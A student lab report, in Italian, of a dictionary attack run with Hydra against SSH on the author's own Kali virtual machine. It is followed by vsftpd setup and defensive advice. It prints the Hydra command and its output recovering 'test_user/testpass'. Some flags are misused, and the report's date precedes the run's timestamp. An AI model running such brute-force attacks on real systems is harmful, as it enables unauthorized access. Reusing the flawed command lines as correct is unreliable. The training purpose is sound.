



Esercizio EpiCode

Attacchi alle reti 1

ESERCIZIO EPICODE WEEK 14 DAY 4 A CURA DI FABIO RENNA

Indice

Executive Summary.....	2
Introduzione.....	2
Obiettivo.....	3
Proof of Concept.....	3 - 5
Conclusione.....	5

Executive Summary

In questo laboratorio è stata simulata un'attività di **password auditing / brute force testing** sui servizi di rete **SSH** e **FTP**, utilizzando lo strumento **Hydra**.

L'esercizio ha previsto sia la configurazione dei servizi (attivazione SSH e installazione FTP) sia l'esecuzione di un attacco a dizionario per verificare quanto credenziali deboli o presenti in wordlist possano essere individuate rapidamente.

Il test ha dimostrato che, in assenza di misure di protezione aggiuntive (rate limiting, blocco tentativi, password policy robuste), un servizio esposto in rete può diventare vulnerabile a tentativi ripetuti di autenticazione, portando all'ottenimento di accesso non autorizzato.

Introduzione

L'attività è stata svolta su un laboratorio controllato basato su **Kali Linux**, dove sono stati configurati e testati due servizi di rete molto comuni: **SSH** (per accesso remoto sicuro) e **FTP** (per trasferimento file).

Dopo aver verificato che l'accesso SSH funzionasse correttamente con un utente creato appositamente, è stata eseguita una simulazione di cracking dell'autenticazione tramite Hydra utilizzando liste di username e password.

Nella seconda fase è stato installato e avviato il servizio FTP (vsftpd), con l'obiettivo di replicare lo stesso approccio di auditing anche su tale servizio.

Obiettivo

L'obiettivo dell'esercizio è:

- creare un utente dedicato al test di autenticazione
- avviare e verificare il funzionamento del servizio **SSH**
- testare l'accesso legittimo via SSH con le credenziali corrette
- utilizzare **Hydra** per simulare un attacco a dizionario/bruteforce contro l'autenticazione SSH
- osservare e documentare l'individuazione di credenziali valide tramite output del tool
- installare e avviare il servizio **FTP (vsftpd)**
- consolidare la comprensione dei rischi legati a servizi di rete esposti con credenziali deboli

Proof of Concept

```
(kali@kali)-[~]
$ sudo adduser test_user
New password:
Retype new password:
passwd: password updated successfully
Changing the user information for test_user
Enter the new value, or press ENTER for the default
  Full Name []:
  Room Number []:
  Work Phone []:
  Home Phone []:
  Other []:
Is the information correct? [Y/n] y

(kali@kali)-[~]
$ sudo service ssh start

(kali@kali)-[~]
$ sudo nano /etc/ssh/sshd_config

(kali@kali)-[~]
$ ssh test_user@192.168.50.100
The authenticity of host '192.168.50.100 (192.168.50.100)' can't be established.
ED25519 key fingerprint is: SHA256:SZtuKW0Vz0GyrWFM5vVAbq2KIXEHCjk91b4GTxkhq+I
This key is not known by any other names.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '192.168.50.100' (ED25519) to the list of known hosts.
test_user@192.168.50.100's password:
Linux kali 6.17.10-kali-amd64 #1 SMP PREEMPT_DYNAMIC Kali 6.17.10-1kali1 (2025-12-08) x86_64

The programs included with the Kali GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Kali GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
~(test_user@kali)-[~]
```

Per preparare l'ambiente di test è stato creato un nuovo utente locale sulla macchina Kali Linux (target), assegnando una password iniziale.

Successivamente è stato avviato il servizio SSH e verificata la raggiungibilità tramite login reale con le credenziali corrette.

Evidenze presenti nello screenshot:

- Creazione dell'utente test_user con password configurata
- Avvio del servizio SSH
- Connessione SSH effettuata con successo
- Accesso confermato dal prompt dell'utente (test_user@kali)

Risultato:

Questo passaggio dimostra che il servizio SSH è **correttamente attivo** e che l'utente creato è **valido e autenticabile**, condizione necessaria per poter eseguire il test con Hydra.

```
(kali@kali)~$ hydra -l users.txt -P passwords.txt 192.168.50.100 -t ssh -V
Hydra v9.6 (C) 2021 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes (this is non-binding, these ** ignore laws and ethics anyway).

Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2026-01-15 17:07:20
[DATA] max 4 tasks per 1 server, overall 4 tasks, 99 login tries (l:9/p:11), ~25 tries per task
[DATA] attacking ssh://192.168.50.100:22/
[ATTEMPT] target 192.168.50.100 - login "test_user" - pass "w0wmm" - 1 of 99 [child 0] (0/0)
[ATTEMPT] target 192.168.50.100 - login "test_user" - pass "testpass" - 2 of 99 [child 1] (0/0)
[ATTEMPT] target 192.168.50.100 - login "test_user" - pass "test" - 3 of 99 [child 2] (0/0)
[ATTEMPT] target 192.168.50.100 - login "test_user" - pass "testpass" - 4 of 99 [child 3] (0/0)
[22][ssh] host: 192.168.50.100 login: test_user password: testpass
[ATTEMPT] target 192.168.50.100 - login "fhsj" - pass "w0wmm" - 12 of 99 [child 1] (0/0)
[ATTEMPT] target 192.168.50.100 - login "fhsj" - pass "testpass" - 13 of 99 [child 0] (0/0)
[ATTEMPT] target 192.168.50.100 - login "fhsj" - pass "test" - 14 of 99 [child 2] (0/0)
[ATTEMPT] target 192.168.50.100 - login "fhsj" - pass "testpass" - 15 of 99 [child 3] (0/0)
[ATTEMPT] target 192.168.50.100 - login "fhsj" - pass "pass_test" - 16 of 99 [child 1] (0/0)
[ATTEMPT] target 192.168.50.100 - login "fhsj" - pass "fabio" - 17 of 99 [child 2] (0/0)
[ATTEMPT] target 192.168.50.100 - login "fhsj" - pass "ruefand" - 18 of 99 [child 3] (0/0)
[ATTEMPT] target 192.168.50.100 - login "fhsj" - pass "qqa" - 19 of 99 [child 1] (0/0)
[ATTEMPT] target 192.168.50.100 - login "fhsj" - pass "admin" - 20 of 99 [child 3] (0/0)
[ATTEMPT] target 192.168.50.100 - login "fhsj" - pass "wow" - 21 of 99 [child 0] (0/0)
[ATTEMPT] target 192.168.50.100 - login "fhsj" - pass " " - 22 of 99 [child 1] (0/0)
[ATTEMPT] target 192.168.50.100 - login "testpass" - pass "w0wmm" - 23 of 99 [child 1] (0/0)
[ATTEMPT] target 192.168.50.100 - login "testpass" - pass "testpass" - 24 of 99 [child 2] (0/0)
```

Dopo aver verificato che l'accesso SSH funzionasse correttamente, è stato avviato un test di cracking dell'autenticazione utilizzando **Hydra** con liste di username e password.

Durante l'esecuzione, Hydra mostra i tentativi di autenticazione in modalità "live" e segnala quando viene trovata una combinazione valida.

Risultato:

Hydra individua correttamente credenziali valide per il servizio SSH:

login:test_user

password: testpass

Questo conferma che:

- il servizio SSH è attaccabile tramite tentativi ripetuti (dictionary/bruteforce)
- credenziali deboli o presenti in wordlist possono essere individuate rapidamente
- la robustezza della password è un fattore critico di sicurezza

```
(kali@kali)~$ sudo apt install vsftpd
[sudo] password for kali:
Installing:
vsftpd

Summary:
Upgrading: 0, Installing: 1, Removing: 0, Not Upgrading: 0
Download size: 151 kB
Space needed: 381 kB / 43.7 GB available

Get:1 http://kali.download/kali kali-rolling/main amd64 vsftpd amd64 3.0.5-0.3 [151 kB]
Fetched 151 kB in 1s (152 kB/s)
Preconfiguring packages ...
Selecting previously unselected package vsftpd.
(Reading database ... 444987 files and directories currently installed.)
Preparing to unpack .../vsftpd_3.0.5-0.3_amd64.deb ...
Unpacking vsftpd (3.0.5-0.3) ...
Setting up vsftpd (3.0.5-0.3) ...
/usr/lib/tmpfiles.d/vsftpd.conf: line references path below legacy directory /var/run/, updating /var/run/vsftpd/empty + /run/vsftpd/empty; please update the tmpfiles.d/ drop-in file accordingly.
update-rc.d: We have no instructions for the vsftpd init script.
update-rc.d: It looks like a network service, we disable it.
Processing triggers for man-db (2.13.1-1) ...
Processing triggers for kali-menu (2025.4.3) ...

(kali@kali)~$ sudo service vsftpd start
(kali@kali)~$
```

Nella seconda parte dell'esercizio è stato configurato un servizio FTP sulla macchina Kali Linux installando **vsftpd** e avviandolo correttamente.

Evidenze presenti nello screenshot:

- Installazione completata di vsftpd
- Avvio del servizio FTP eseguito con successo

Risultato:

Il target risulta pronto per la fase successiva dell'esercizio: eseguire un test di cracking anche sul servizio **FTP**, replicando lo stesso approccio utilizzato su SSH.

Conclusione

L'esercizio ha evidenziato come servizi fondamentali come **SSH** e **FTP**, se esposti in rete e protetti da credenziali deboli o standard, possano essere soggetti ad attacchi di tipo **dictionary/bruteforce**. L'utilizzo di Hydra ha permesso di osservare in modo pratico quanto rapidamente una combinazione valida possa essere individuata quando le password sono presenti in wordlist comuni.

In un contesto reale, questo tipo di scenario può portare alla compromissione di account e sistemi, rendendo necessarie misure di mitigazione come password policy robuste, blocco dei tentativi ripetuti, autenticazione multi-fattore (dove possibile), monitoraggio dei log e strumenti di protezione come fail2ban.

L'attività conferma che la sicurezza dei servizi non dipende solo dall'avere la porta "aperta", ma dalla qualità della configurazione e dalla gestione corretta delle credenziali.

In un contesto reale, l'applicazione di queste misure è essenziale per prevenire compromissioni e attacchi Man-in-the-Middle.

Venezia, 08/01/2026

Fabio Renna